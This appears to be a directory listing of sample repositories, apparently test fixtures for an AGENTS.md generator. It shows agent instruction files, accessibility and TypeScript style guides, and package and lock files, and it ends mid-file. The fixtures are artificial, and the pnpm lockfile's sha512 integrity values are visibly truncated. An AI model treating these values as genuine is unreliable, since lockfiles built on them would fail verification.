          ## Accessibility Standards (WCAG 2.2 AAA)
          
          **Required compliance** - not optional:
          
          ### Keyboard Navigation
          
          - All interactive elements focusable with Tab
          - Visual focus indicators (4px outline, 7:1 contrast)
          - Logical tab order (top to bottom, left to right)
          - No keyboard traps
          - Skip links where needed
          
          ### Screen Readers
          
          - Semantic HTML: `<button>`, `<input>`, `<label>`, not `<div onclick>`
          - ARIA labels on icon-only buttons: `aria-label="Submit"`
          - Error messages: `aria-describedby` linking to error text
          - Live regions for dynamic content: `aria-live="polite"`
          - Form field associations: `<label for="id">` + `<input id="id">`
          
          ### Color & Contrast
          
          - Text: 7:1 contrast ratio (AAA)
          - Large text (18pt+): 4.5:1 minimum
          - Focus indicators: 3:1 against adjacent colors
          - Dark mode: same contrast requirements
          - Never rely on color alone (use icons, text, patterns)
          
          ### Responsive & Adaptive
          
          - Responsive: layout adapts to viewport size
          - Text zoom: 200% without horizontal scroll
          - Adaptive density: spacing adjusts for user preferences
          - Touch targets: 44×44 CSS pixels minimum (mobile)
          
          ### Examples
          
          **✅ Good: Accessible button**
          
          ```html
          <button type="submit" class="btn-primary focus:ring-4 focus:ring-blue-300" aria-label="Submit password change">
            <svg aria-hidden="true">...</svg>
            Change Password
          </button>
          ```
          
          **❌ Bad: Inaccessible div-button**
          
          ```html
          <div onclick="submit()" class="button">❌ not keyboard accessible Submit</div>
          ```
          
          **✅ Good: Form with error handling**
          
          ```html
          <form>
            <label for="password">New Password</label>
            <input
              id="password"
              type="password"
              aria-describedby="password-error"
              aria-invalid="true"
              autocomplete="new-password"
            />
            <div id="password-error" role="alert">Password must be at least 8 characters</div>
          </form>
          ```
          
          **❌ Bad: Form without associations**
          
          ```html
          <form>
            <div>Password</div>
            ❌ not a label, no association <input type="password" /> ❌ no autocomplete, no error linkage
            <div style="color: red">Error</div>
            ❌ no role="alert", only color
          </form>
          ```
          
          ## Tailwind CSS Patterns
          
          **Use utility classes**, not custom CSS:
          
          **✅ Good: Utility classes**
          
          ```html
          <button
            class="rounded-lg bg-blue-600 px-4 py-2 font-semibold text-white hover:bg-blue-700 focus:ring-4 focus:ring-blue-300"
          >
            Submit
          </button>
          ```
          
          **❌ Bad: Custom CSS**
          
          ```html
          <button class="custom-button">Submit</button>
          <style>
            .custom-button {
              background: blue;
            } /* ❌ Use Tailwind utilities */
          </style>
          ```
          
          **Dark mode support**:
          
          ```html
          <div class="bg-white text-gray-900 dark:bg-gray-900 dark:text-gray-100">Content</div>
          ```
          
          **Responsive design**:
          
          ```html
          <div class="grid grid-cols-1 gap-4 md:grid-cols-2 lg:grid-cols-3">
            <!-- Responsive grid: 1 col mobile, 2 tablet, 3 desktop -->
          </div>
          ```
          
          **Focus states (required)**:
          
          ```html
          <button class="focus:ring-4 focus:ring-blue-300 focus:outline-none">
            <!-- 4px focus ring, 7:1 contrast -->
          </button>
          ```
          
          ## TypeScript Patterns
          
          **Strict null checking**:
          
          ```typescript
          // ✅ Good: handle nulls explicitly
          function getElement(id: string): HTMLElement | null {
            return document.getElementById(id);
          }
          
          const el = getElement("password");
          if (el) {
            // ✅ null check
            el.textContent = "Hello";
          }
          
          // ❌ Bad: assume non-null
          const el = getElement("password");
          el.textContent = "Hello"; // ❌ may crash if null
          ```
          
          **Type guards**:
          
          ```typescript
          // ✅ Good: type guard for forms
          function isHTMLFormElement(element: Element): element is HTMLFormElement {
            return element instanceof HTMLFormElement;
          }
          
          const form = document.querySelector("form");
          if (form && isHTMLFormElement(form)) {
            form.addEventListener("submit", handleSubmit);
          }
          ```
          
          **No unsafe array access**:
          
          ```typescript
          // ✅ Good: check array bounds
          const items = ["a", "b", "c"];
          const first = items[0]; // string | undefined (noUncheckedIndexedAccess)
          if (first) {
            console.log(first.toUpperCase());
          }
          
          // ❌ Bad: unsafe access
          console.log(items[0].toUpperCase()); // ❌ may crash if empty array
          ```
          
          ## PR/Commit Checklist
          
          **Before committing frontend code**:
          
          - [ ] Run `pnpm js:build` (TypeScript strict check)
          - [ ] Run `pnpm prettier --write internal/web/`
          - [ ] Verify keyboard navigation works
          - [ ] Test with screen reader (VoiceOver/NVDA)
          - [ ] Check contrast ratios (7:1 for text)
          - [ ] Test dark mode
          - [ ] Verify password manager autofill works
          - [ ] No console errors in browser
          - [ ] Test on mobile viewport (responsive)
          
          **Accessibility checklist**:
          
          - [ ] All interactive elements keyboard accessible
          - [ ] Focus indicators visible (4px outline, 7:1 contrast)
          - [ ] ARIA labels on icon-only buttons
          - [ ] Form fields properly labeled
          - [ ] Error messages linked with aria-describedby
          - [ ] No color-only information conveyance
          - [ ] Touch targets ≥44×44 CSS pixels (mobile)
          
          **Performance checklist**:
          
          - [ ] Minified JS (via `pnpm js:minify`)
          - [ ] CSS optimized (cssnano via PostCSS)
          - [ ] No unused Tailwind classes (purged automatically)
          - [ ] No console.log in production code
          
          ## Good vs Bad Examples
          
          **✅ Good: Type-safe DOM access**
          
          ```typescript
          function setupPasswordToggle(): void {
            const toggle = document.getElementById("toggle-password");
            const input = document.getElementById("password");
          
            if (!toggle || !(input instanceof HTMLInputElement)) {
              return; // Guard against missing elements
            }
          
            toggle.addEventListener("click", () => {
              input.type = input.type === "password" ? "text" : "password";
            });
          }
          ```
          
          **❌ Bad: Unsafe DOM access**
          
          ```typescript
          function setupPasswordToggle() {
            const toggle = document.getElementById("toggle-password")!; // ❌ non-null assertion
            const input = document.getElementById("password") as any; // ❌ any type
          
            toggle.addEventListener("click", () => {
              input.type = input.type === "password" ? "text" : "password"; // ❌ may crash
            });
          }
          ```
          
          **✅ Good: Accessible form validation**
          
          ```typescript
          function showError(input: HTMLInputElement, message: string): void {
            const errorId = `${input.id}-error`;
            let errorEl = document.getElementById(errorId);
          
            if (!errorEl) {
              errorEl = document.createElement("div");
              errorEl.id = errorId;
              errorEl.setAttribute("role", "alert");
              errorEl.className = "text-red-600 dark:text-red-400 text-sm mt-1";
              input.parentElement?.appendChild(errorEl);
            }
          
            errorEl.textContent = message;
            input.setAttribute("aria-invalid", "true");
            input.setAttribute("aria-describedby", errorId);
          }
          ```
          
          **❌ Bad: Inaccessible validation**
          
          ```typescript
          function showError(input: any, message: string) {
            // ❌ any type
            input.style.borderColor = "red"; // ❌ color only, no text
            alert(message); // ❌ blocks UI, not persistent
          }
          ```
          
          ## When Stuck
          
          **TypeScript issues**:
          
          1. **Type errors**: Check `tsconfig.json` flags, use proper types (no `any`)
          2. **Null errors**: Add null checks or type guards
          3. **Module errors**: Ensure ES module syntax (`import`/`export`)
          4. **Build errors**: `pnpm install` to refresh dependencies
          
          **CSS issues**:
          
          1. **Styles not applying**: Check Tailwind purge config, rebuild with `pnpm css:build`
          2. **Dark mode broken**: Use `dark:` prefix on utilities
          3. **Responsive broken**: Use `md:`, `lg:` breakpoint prefixes
          4. **Custom classes**: Don't - use Tailwind utilities instead
          
          **Accessibility issues**:
          
          1. **Keyboard nav broken**: Check tab order, focus indicators
          2. **Screen reader confusion**: Verify ARIA labels, semantic HTML
          3. **Contrast failure**: Use darker colors, test with dev tools
          4. **See**: [../../docs/accessibility.md](../../docs/accessibility.md)
          
          **Browser dev tools**:
          
          - Accessibility tab: Check ARIA, contrast, structure
          - Lighthouse: Run accessibility audit (aim for 100 score)
          - Console: No errors in production code
          
          ## Testing Workflow
          
          **Manual testing required** (no automated frontend tests yet):
          
          1. **Visual testing**: Check all pages in light/dark mode
          2. **Keyboard testing**: Tab through all interactive elements
          3. **Screen reader testing**: Use VoiceOver (Cmd+F5) or NVDA
          4. **Responsive testing**: Test mobile, tablet, desktop viewports
          5. **Browser testing**: Chrome, Firefox, Safari, Edge
          6. **Password manager**: Test autofill with 1Password, LastPass, etc.
          
          **Accessibility testing tools**:
          
          - Browser dev tools Lighthouse
          - axe DevTools extension
          - WAVE browser extension
          - Manual keyboard/screen reader testing (required)
          
          **Integration testing**: Go backend tests exercise full request/response flow including frontend templates
          
      • php-with-frontend
        • src
          • Controller.php 41 B · in bundle
        • web
          • src
            • App.tsx 63 B · in bundle
            • Button.tsx 215 B · in bundle
            • Footer.tsx 125 B · in bundle
            • Header.tsx 122 B · in bundle
            • main.tsx 68 B · in bundle
          • AGENTS.md 3.1 KB
            <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: 2026-02-05 -->
            
            # AGENTS.md — web
            
            <!-- AGENTS-GENERATED:START overview -->
            ## Overview
            Frontend application (TypeScript/React/Vue)
            <!-- AGENTS-GENERATED:END overview -->
            
            <!-- AGENTS-GENERATED:START filemap -->
            ## Key Files
            | File | Purpose |
            |------|---------|
            | `web/src/App.tsx` | (add description) |
            | `web/src/Button.tsx` | (add description) |
            | `web/src/Header.tsx` | (add description) |
            | `web/src/main.tsx` | (add description) |
            | `web/src/Footer.tsx` | (add description) |
            <!-- AGENTS-GENERATED:END filemap -->
            
            <!-- AGENTS-GENERATED:START golden-samples -->
            ## Golden Samples (follow these patterns)
            | Pattern | Reference |
            |---------|-----------|
            | Standard implementation | `web/src/Button.tsx` |
            <!-- AGENTS-GENERATED:END golden-samples -->
            
            <!-- AGENTS-GENERATED:START setup -->
            ## Setup & environment
            - Node version: >=20.0.0
            - Framework: react
            - Package manager: npm
            - Environment variables: See .env.example
            <!-- AGENTS-GENERATED:END setup -->
            
            <!-- AGENTS-GENERATED:START commands -->
            ## Build & tests
            - Install: `npm install`
            - Typecheck: `npm run typecheck`
            - Lint: `npm run lint`
            - Format: `npx prettier --write .`
            - Test: `npm test`
            - Build: `npm run build`
            - Dev server: `npm run dev`
            <!-- AGENTS-GENERATED:END commands -->
            
            <!-- AGENTS-GENERATED:START code-style -->
            ## Code style & conventions
            - TypeScript strict mode enabled (verified from tsconfig.json)
            - Use functional components with hooks
            - Naming: `camelCase` for variables/functions, `PascalCase` for components
            - File naming: `ComponentName.tsx`, `utilityName.ts`
            - Imports: group and sort (external, internal, types)
            - CSS: Tailwind CSS
            - Avoid class components
            <!-- AGENTS-GENERATED:END code-style -->
            
            <!-- AGENTS-GENERATED:START security -->
            ## Security & safety
            - Sanitize user inputs before rendering
            - Raw HTML rendering only with sanitized content (use DOMPurify)
            - Validate environment variables at build time
            - Never expose secrets in client-side code
            - Use HTTPS for all API calls
            - Implement CSP headers
            - WCAG 2.2 AA accessibility compliance
            <!-- AGENTS-GENERATED:END security -->
            
            <!-- AGENTS-GENERATED:START checklist -->
            ## PR/commit checklist
            - [ ] Tests pass: `npm test`
            - [ ] TypeScript compiles: `npm run typecheck`
            - [ ] Lint clean: `npm run lint`
            - [ ] Formatted: `npx prettier --write .`
            - [ ] Accessibility: keyboard navigation works, ARIA labels present
            - [ ] Responsive: tested on mobile, tablet, desktop
            - [ ] Performance: no unnecessary re-renders
            <!-- AGENTS-GENERATED:END checklist -->
            
            <!-- AGENTS-GENERATED:START examples -->
            ## Patterns to Follow
            > **Prefer looking at real code in this repo over generic examples.**
            > See **Golden Samples** section above for files that demonstrate correct patterns.
            <!-- AGENTS-GENERATED:END examples -->
            
            <!-- AGENTS-GENERATED:START help -->
            ## When stuck
            - Check React documentation: https://react.dev
            - Review TypeScript handbook: https://www.typescriptlang.org/docs/
            - Check root AGENTS.md for project-wide conventions
            - Review existing components for patterns
            <!-- AGENTS-GENERATED:END help -->
            
          • package.json 515 B
            {
              "name": "frontend",
              "private": true,
              "engines": {
                "node": ">=20.0.0"
              },
              "scripts": {
                "dev": "vite",
                "build": "vite build",
                "lint": "eslint src --ext .ts,.tsx",
                "test": "vitest run",
                "typecheck": "tsc --noEmit"
              },
              "dependencies": {
                "react": "^18.2.0",
                "react-dom": "^18.2.0"
              },
              "devDependencies": {
                "@types/react": "^18.2.0",
                "eslint": "^8.56.0",
                "tailwindcss": "^3.4.0",
                "typescript": "^5.3.0",
                "vite": "^8.0.8",
                "vitest": "^4.1.11"
              }
            }
            
          • tsconfig.json 280 B
            {
              "compilerOptions": {
                "target": "ES2020",
                "module": "ESNext",
                "lib": ["ES2020", "DOM", "DOM.Iterable"],
                "strict": true,
                "jsx": "react-jsx",
                "moduleResolution": "bundler",
                "esModuleInterop": true,
                "skipLibCheck": true
              },
              "include": ["src"]
            }
            
        • .scopes 89 B · in bundle
        • AGENTS.md 3.1 KB
          <!-- FOR AI AGENTS - Human readability is a side effect, not a goal -->
          <!-- Managed by agent: keep sections and order; edit content, not structure -->
          <!-- Last updated: 2026-02-05 | Last verified: never -->
          
          # AGENTS.md
          
          **Precedence:** the **closest `AGENTS.md`** to the files you're changing wins. Root holds global defaults only.
          
          ## Commands (unverified)
          > Source: composer.json — CI-sourced commands are most reliable
          
          <!-- AGENTS-GENERATED:START commands -->
          | Task | Command | ~Time |
          |------|---------|-------|
          | Typecheck | composer run phpstan | ~15s |
          | Lint | vendor/bin/php-cs-fixer fix --dry-run | ~10s |
          | Format | vendor/bin/php-cs-fixer fix | ~5s |
          | Test (single) | vendor/bin/phpunit | ~2s |
          | Test (all) | composer run test | ~30s |
          <!-- AGENTS-GENERATED:END commands -->
          
          > If commands fail, verify against Makefile/package.json/composer.json or ask user to update.
          
          ## Workflow
          1. **Before coding**: Read nearest `AGENTS.md` + check Golden Samples for the area you're touching
          2. **After each change**: Run the smallest relevant check (lint → typecheck → single test)
          3. **Before committing**: Run full test suite if changes affect >2 files or touch shared code
          
          ## File Map
          <!-- AGENTS-GENERATED:START filemap -->
          ```
          web/             → documentation
          src/             → application source code
          ```
          <!-- AGENTS-GENERATED:END filemap -->
          
          ## Golden Samples (follow these patterns)
          <!-- AGENTS-GENERATED:START golden-samples -->
          | For | Reference | Key patterns |
          |-----|-----------|--------------|
          | Controller | `src/Controller.php` |  (class) |
          <!-- AGENTS-GENERATED:END golden-samples -->
          
          ## Heuristics (quick decisions)
          <!-- AGENTS-GENERATED:START heuristics -->
          | When | Do |
          |------|-----|
          | Adding class | Follow PSR-4 in `Classes/` or `src/` |
          | Committing | Use Conventional Commits (feat:, fix:, docs:, etc.) |
          | Merging PRs | Squash and merge |
          | Adding dependency | Ask first - we minimize deps |
          | Unsure about pattern | Check Golden Samples above |
          <!-- AGENTS-GENERATED:END heuristics -->
          
          ## Repository Settings
          <!-- AGENTS-GENERATED:START repo-settings -->
          - **Default branch:** `main`
          - **Merge strategy:** squash, merge, rebase
          <!-- AGENTS-GENERATED:END repo-settings -->
          
          ## Boundaries
          
          ### Always Do
          - Run pre-commit checks before committing
          - Add tests for new code paths
          - Use conventional commit format: `type(scope): subject`
          - Follow PSR-12 coding standards and PHP ^8.2 features
          
          ### Ask First
          - Adding new dependencies
          - Modifying CI/CD configuration
          - Changing public API signatures
          - Running full e2e test suites
          - Repo-wide refactoring or rewrites
          
          ### Never Do
          - Commit secrets, credentials, or sensitive data
          - Modify vendor/, node_modules/, or generated files
          - Push directly to main/master branch
          - Delete migration files or schema changes
          - Commit composer.lock without composer.json changes
          - Modify core framework files
          
          ## Index of scoped AGENTS.md
          <!-- AGENTS-GENERATED:START scope-index -->
          - `./web/AGENTS.md` — Frontend application (TypeScript/React/Vue)
          <!-- AGENTS-GENERATED:END scope-index -->
          
          ## When instructions conflict
          The nearest `AGENTS.md` wins. Explicit user prompts override files.
          - For PHP-specific patterns, follow PSR standards
          
        • composer.json 185 B
          {
              "name": "test/php-with-frontend",
              "require": { "php": "^8.2" },
              "scripts": {
                  "test": "vendor/bin/phpunit",
                  "phpstan": "vendor/bin/phpstan analyze"
              }
          }
          
        • package.json 307 B
          {
              "name": "frontend",
              "scripts": {
                  "dev": "vite",
                  "build": "vite build",
                  "lint": "eslint src",
                  "test": "vitest run"
              },
              "devDependencies": {
                  "eslint": "^8.56.0",
                  "react": "^18.0.0",
                  "vite": "^8.0.8",
                  "vitest": "^4.1.11"
              }
          }
          
        • pnpm-lock.yaml 101 B
          # pnpm lockfile placeholder
          # This file indicates pnpm is the package manager
          lockfileVersion: '9.0'
          
      • pnpm-workspace
        • packages
          • web
            • src
              • index.ts 258 B
                import React from 'react';
                import ReactDOM from 'react-dom/client';
                
                const App: React.FC = () => {
                  return <div>Hello from workspace package</div>;
                };
                
                const root = document.getElementById('root');
                if (root) {
                  ReactDOM.createRoot(root).render(<App />);
                }
                
            • package.json 187 B
              {
                "name": "@workspace/web",
                "version": "1.0.0",
                "dependencies": {
                  "react": "^18.2.0",
                  "react-dom": "^18.2.0"
                },
                "devDependencies": {
                  "@types/react": "^18.2.0"
                }
              }
              
        • AGENTS.md 2.6 KB
          <!-- FOR AI AGENTS - Human readability is a side effect, not a goal -->
          <!-- Managed by agent: keep sections and order; edit content, not structure -->
          <!-- Last updated: 2026-02-05 | Last verified: never -->
          
          # AGENTS.md
          
          **Precedence:** the **closest `AGENTS.md`** to the files you're changing wins. Root holds global defaults only.
          
          ## Commands (unverified)
          > Source: package.json — CI-sourced commands are most reliable
          
          <!-- AGENTS-GENERATED:START commands -->
          | Task | Command | ~Time |
          |------|---------|-------|
          | Typecheck | pnpm dlx tsc --noEmit | ~15s |
          | Lint | pnpm dlx eslint . | ~10s |
          | Format | pnpm dlx prettier --write . | ~5s |
          <!-- AGENTS-GENERATED:END commands -->
          
          > If commands fail, verify against Makefile/package.json/composer.json or ask user to update.
          
          ## Workflow
          1. **Before coding**: Read nearest `AGENTS.md` + check Golden Samples for the area you're touching
          2. **After each change**: Run the smallest relevant check (lint → typecheck → single test)
          3. **Before committing**: Run full test suite if changes affect >2 files or touch shared code
          
          ## File Map
          <!-- AGENTS-GENERATED:START filemap -->
          ```
          packages/        → project files
          ```
          <!-- AGENTS-GENERATED:END filemap -->
          
          ## Heuristics (quick decisions)
          <!-- AGENTS-GENERATED:START heuristics -->
          | When | Do |
          |------|-----|
          | Committing | Use Conventional Commits (feat:, fix:, docs:, etc.) |
          | Merging PRs | Squash and merge |
          | Adding dependency | Ask first - we minimize deps |
          | Unsure about pattern | Check Golden Samples above |
          <!-- AGENTS-GENERATED:END heuristics -->
          
          ## Repository Settings
          <!-- AGENTS-GENERATED:START repo-settings -->
          - **Default branch:** `main`
          - **Merge strategy:** squash, merge, rebase
          <!-- AGENTS-GENERATED:END repo-settings -->
          
          ## Boundaries
          
          ### Always Do
          - Run pre-commit checks before committing
          - Add tests for new code paths
          - Use conventional commit format: `type(scope): subject`
          - Use TypeScript strict mode with proper type annotations
          
          ### Ask First
          - Adding new dependencies
          - Modifying CI/CD configuration
          - Changing public API signatures
          - Running full e2e test suites
          - Repo-wide refactoring or rewrites
          
          ### Never Do
          - Commit secrets, credentials, or sensitive data
          - Modify vendor/, node_modules/, or generated files
          - Push directly to main/master branch
          - Delete migration files or schema changes
          - Commit package-lock.json without package.json changes
          - Use any type without justification
          
          ## When instructions conflict
          The nearest `AGENTS.md` wins. Explicit user prompts override files.
          - For TypeScript/JavaScript patterns, follow project eslint/prettier config
          
        • package.json 105 B
          {
            "name": "workspace-root",
            "private": true,
            "devDependencies": {
              "typescript": "^5.0.0"
            }
          }
          
        • pnpm-lock.yaml 920 B
          lockfileVersion: '9.0'
          
          settings:
            autoInstallPeers: true
            excludeLinksFromLockfile: false
          
          importers:
          
            .:
              devDependencies:
                typescript:
                  specifier: ^5.0.0
                  version: 5.3.3
          
            packages/web:
              dependencies:
                react:
                  specifier: ^18.2.0
                  version: 18.2.0
                react-dom:
                  specifier: ^18.2.0
                  version: 18.2.0(react@18.2.0)
              devDependencies:
                '@types/react':
                  specifier: ^18.2.0
                  version: 18.2.45
          
          packages:
          
            '@types/react@18.2.45':
              resolution: {integrity: sha512-TtAxCNrlrBp8GoeGmtE1KJSz==}
          
            react-dom@18.2.0:
              resolution: {integrity: sha512-6IMTriUmvsjHUjNtEDudZfuDQUoWXVxKHhlEGSk81n==}
              peerDependencies:
                react: ^18.2.0
          
            react@18.2.0:
              resolution: {integrity: sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCY==}
          
            typescript@5.3.3:
              resolution: {integrity: sha512-pXWcraxM0uxAS+tN0AG/BF2TyqmHO014Z070Us==}
          
        • pnpm-workspace.yaml 27 B
          packages:
            - "packages/*"
          
      • simple-ldap-go
        • AGENTS.md 2.5 KB
          <!-- FOR AI AGENTS - Human readability is a side effect, not a goal -->
          <!-- Managed by agent: keep sections and order; edit content, not structure -->
          <!-- Last updated: 2026-02-05 | Last verified: never -->
          
          # AGENTS.md
          
          **Precedence:** the **closest `AGENTS.md`** to the files you're changing wins. Root holds global defaults only.
          
          ## Commands (unverified)
          > Source: go.mod — CI-sourced commands are most reliable
          
          <!-- AGENTS-GENERATED:START commands -->
          | Task | Command | ~Time |
          |------|---------|-------|
          | Typecheck | go build -v ./... | ~15s |
          | Format | gofmt -w . | ~5s |
          | Test (single) | go test -v -race | ~2s |
          | Test (all) | go test -v -race -short ./... | ~30s |
          | Build | go build -v ./... | ~30s |
          <!-- AGENTS-GENERATED:END commands -->
          
          > If commands fail, verify against Makefile/package.json/composer.json or ask user to update.
          
          ## Workflow
          1. **Before coding**: Read nearest `AGENTS.md` + check Golden Samples for the area you're touching
          2. **After each change**: Run the smallest relevant check (lint → typecheck → single test)
          3. **Before committing**: Run full test suite if changes affect >2 files or touch shared code
          
          ## Heuristics (quick decisions)
          <!-- AGENTS-GENERATED:START heuristics -->
          | When | Do |
          |------|-----|
          | Adding package | Internal → `internal/`, Public → `pkg/` |
          | Committing | Use Conventional Commits (feat:, fix:, docs:, etc.) |
          | Merging PRs | Squash and merge |
          | Adding dependency | Ask first - we minimize deps |
          | Unsure about pattern | Check Golden Samples above |
          <!-- AGENTS-GENERATED:END heuristics -->
          
          ## Repository Settings
          <!-- AGENTS-GENERATED:START repo-settings -->
          - **Default branch:** `main`
          - **Merge strategy:** squash, merge, rebase
          <!-- AGENTS-GENERATED:END repo-settings -->
          
          ## Boundaries
          
          ### Always Do
          - Run pre-commit checks before committing
          - Add tests for new code paths
          - Use conventional commit format: `type(scope): subject`
          - Follow Go 1.25 conventions and idioms
          
          ### Ask First
          - Adding new dependencies
          - Modifying CI/CD configuration
          - Changing public API signatures
          - Running full e2e test suites
          - Repo-wide refactoring or rewrites
          
          ### Never Do
          - Commit secrets, credentials, or sensitive data
          - Modify vendor/, node_modules/, or generated files
          - Push directly to main/master branch
          - Delete migration files or schema changes
          - Commit go.sum without go.mod changes
          
          ## When instructions conflict
          The nearest `AGENTS.md` wins. Explicit user prompts override files.
          - For Go-specific patterns, defer to language idioms and standard library conventions
          
        • examples-AGENTS.md 1.8 KB
          <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: 2025-09-29 -->
          
          # AGENTS.md — Examples
          
          ## Overview
          Example applications demonstrating library usage patterns for authentication, user management, performance optimization, context handling, and error patterns. Entry points are the main.go files in each subdirectory.
          
          ## Setup & environment
          - Install: `go mod download`
          - Run example: `go run examples/<name>/main.go`
          - Env: Examples use environment variables from `.env` files when present
          
          ## Build & tests (prefer file-scoped)
          - Typecheck a file: `go build -v examples/<name>/main.go`
          - Format a file: `gofmt -w examples/<name>/main.go`
          - Run example: `go run examples/<name>/main.go`
          
          ## Code style & conventions
          - Examples should be self-contained and runnable
          - Use clear variable names that explain the concept
          - Include comments explaining non-obvious patterns
          - Error handling should demonstrate best practices
          - Keep examples focused on a single concept
          
          ## Security & safety
          - Never include real credentials in examples
          - Use placeholder values like "ldap.example.com"
          - Document required permissions clearly
          - Examples should fail gracefully without real LDAP server
          
          ## PR/commit checklist
          - Examples must compile without errors
          - Include README.md explaining the example's purpose
          - Test example with both real and mock LDAP servers if possible
          - Ensure examples follow library best practices
          
          ## Good vs. bad examples
          - Good: `authentication/main.go` (clear flow, error handling)
          - Good: `context-usage/main.go` (proper context propagation)
          - Pattern to follow: Simple, focused, well-commented demonstrations
          
          ## When stuck
          - Check the main library documentation in ../docs/
          - Review similar examples in sibling directories
          - Ensure you have the latest library version
        • go.mod 43 B · in bundle
      • t3x-rte-ckeditor-image
        • AGENTS.md 2.5 KB
          <!-- FOR AI AGENTS - Human readability is a side effect, not a goal -->
          <!-- Managed by agent: keep sections and order; edit content, not structure -->
          <!-- Last updated: 2026-02-05 | Last verified: never -->
          
          # AGENTS.md
          
          **Precedence:** the **closest `AGENTS.md`** to the files you're changing wins. Root holds global defaults only.
          
          ## Commands (unverified)
          > Source: composer.json — CI-sourced commands are most reliable
          
          <!-- AGENTS-GENERATED:START commands -->
          | Task | Command | ~Time |
          |------|---------|-------|
          | Lint | vendor/bin/php-cs-fixer fix --dry-run | ~10s |
          | Format | vendor/bin/php-cs-fixer fix | ~5s |
          | Test (single) | vendor/bin/phpunit | ~2s |
          | Test (all) | vendor/bin/phpunit | ~30s |
          <!-- AGENTS-GENERATED:END commands -->
          
          > If commands fail, verify against Makefile/package.json/composer.json or ask user to update.
          
          ## Workflow
          1. **Before coding**: Read nearest `AGENTS.md` + check Golden Samples for the area you're touching
          2. **After each change**: Run the smallest relevant check (lint → typecheck → single test)
          3. **Before committing**: Run full test suite if changes affect >2 files or touch shared code
          
          ## Heuristics (quick decisions)
          <!-- AGENTS-GENERATED:START heuristics -->
          | When | Do |
          |------|-----|
          | Adding class | Follow PSR-4 in `Classes/` or `src/` |
          | Committing | Use Conventional Commits (feat:, fix:, docs:, etc.) |
          | Merging PRs | Squash and merge |
          | Adding dependency | Ask first - we minimize deps |
          | Unsure about pattern | Check Golden Samples above |
          <!-- AGENTS-GENERATED:END heuristics -->
          
          ## Repository Settings
          <!-- AGENTS-GENERATED:START repo-settings -->
          - **Default branch:** `main`
          - **Merge strategy:** squash, merge, rebase
          <!-- AGENTS-GENERATED:END repo-settings -->
          
          ## Boundaries
          
          ### Always Do
          - Run pre-commit checks before committing
          - Add tests for new code paths
          - Use conventional commit format: `type(scope): subject`
          - Follow PSR-12 coding standards and PHP ^8.1 features
          
          ### Ask First
          - Adding new dependencies
          - Modifying CI/CD configuration
          - Changing public API signatures
          - Running full e2e test suites
          - Repo-wide refactoring or rewrites
          
          ### Never Do
          - Commit secrets, credentials, or sensitive data
          - Modify vendor/, node_modules/, or generated files
          - Push directly to main/master branch
          - Delete migration files or schema changes
          - Commit composer.lock without composer.json changes
          - Modify core framework files
          
          ## When instructions conflict
          The nearest `AGENTS.md` wins. Explicit user prompts override files.
          - For PHP-specific patterns, follow PSR standards
          
        • Classes-AGENTS.md 12 KB
          # Classes/AGENTS.md
          
          <!-- Managed by agent: keep sections & order; edit content, not structure. Last updated: 2025-10-15 -->
          
          **Scope:** PHP backend components (Controllers, EventListeners, DataHandling, Utils)
          **Parent:** [../AGENTS.md](../AGENTS.md)
          
          ## 📋 Overview
          
          PHP backend implementation for TYPO3 CKEditor Image extension. Components:
          
          ### Controllers
          - **SelectImageController** - Image browser wizard, file selection, image info API
          - **ImageRenderingController** - Image rendering and processing for frontend
          - **ImageLinkRenderingController** - Link-wrapped image rendering
          
          ### EventListeners
          - **RteConfigurationListener** - PSR-14 event for RTE configuration injection
          
          ### DataHandling
          - **RteImagesDbHook** - Database hooks for image magic reference handling
          - **RteImageSoftReferenceParser** - Soft reference parsing for RTE images
          
          ### Backend Components
          - **RteImagePreviewRenderer** - Backend preview rendering
          
          ### Utilities
          - **ProcessedFilesHandler** - File processing and manipulation utilities
          
          ## 🏗️ Architecture Patterns
          
          ### TYPO3 Patterns
          - **FAL (File Abstraction Layer):** All file operations via ResourceFactory
          - **PSR-7 Request/Response:** HTTP message interfaces for controllers
          - **PSR-14 Events:** Event-driven configuration and hooks
          - **Dependency Injection:** Constructor-based DI (TYPO3 v13+)
          - **Service Configuration:** `Configuration/Services.yaml` for DI registration
          
          ### File Structure
          ```
          Classes/
          ├── Backend/
          │   └── Preview/
          │       └── RteImagePreviewRenderer.php
          ├── Controller/
          │   ├── ImageLinkRenderingController.php
          │   ├── ImageRenderingController.php
          │   └── SelectImageController.php
          ├── DataHandling/
          │   └── SoftReference/
          │       └── RteImageSoftReferenceParser.php
          ├── Database/
          │   └── RteImagesDbHook.php
          ├── EventListener/
          │   └── RteConfigurationListener.php
          └── Utils/
              └── ProcessedFilesHandler.php
          ```
          
          ## 🔧 Build & Tests
          
          ```bash
          # PHP-specific quality checks
          make lint                      # All linters (syntax + PHPStan + Rector + style)
          composer ci:test:php:lint      # PHP syntax check
          composer ci:test:php:phpstan   # Static analysis
          composer ci:test:php:rector    # Rector modernization check
          composer ci:test:php:cgl       # Code style check
          
          # Fixes
          make format                    # Auto-fix code style
          composer ci:cgl               # Alternative: fix style
          composer ci:rector            # Apply Rector changes
          
          # Full CI
          make ci                       # Complete pipeline
          ```
          
          ## 📝 Code Style
          
          ### Required Patterns
          
          **1. Strict Types (Always First)**
          ```php
          <?php
          
          declare(strict_types=1);
          ```
          
          **2. File Header (Auto-managed by PHP-CS-Fixer)**
          ```php
          /**
           * This file is part of the package netresearch/rte-ckeditor-image.
           *
           * For the full copyright and license information, please read the
           * LICENSE file that was distributed with this source code.
           */
          ```
          
          **3. Import Order**
          - Classes first
          - Functions second
          - Constants third
          - One blank line before namespace
          
          **4. Type Hints**
          - All parameters must have type hints
          - All return types must be declared
          - Use nullable types `?Type` when appropriate
          - Use union types `Type1|Type2` for PHP 8+
          
          **5. Property Types**
          ```php
          private ResourceFactory $resourceFactory;        // Required type declaration
          private readonly ResourceFactory $factory;       // Readonly for immutability
          ```
          
          **6. Alignment**
          ```php
          $config = [
              'short'  => 'value',       // Align on =>
              'longer' => 'another',
          ];
          ```
          
          ## 🔒 Security
          
          ### FAL (File Abstraction Layer)
          - **Always use FAL:** Never direct file system access
          - **ResourceFactory:** For retrieving files by UID
          - **File validation:** Check isDeleted(), isMissing()
          - **ProcessedFile:** Use process() for image manipulation
          
          ```php
          // ✅ Good: FAL usage
          $file = $this->resourceFactory->getFileObject($id);
          if ($file->isDeleted() || $file->isMissing()) {
              throw new \Exception('File not found');
          }
          
          // ❌ Bad: Direct file access
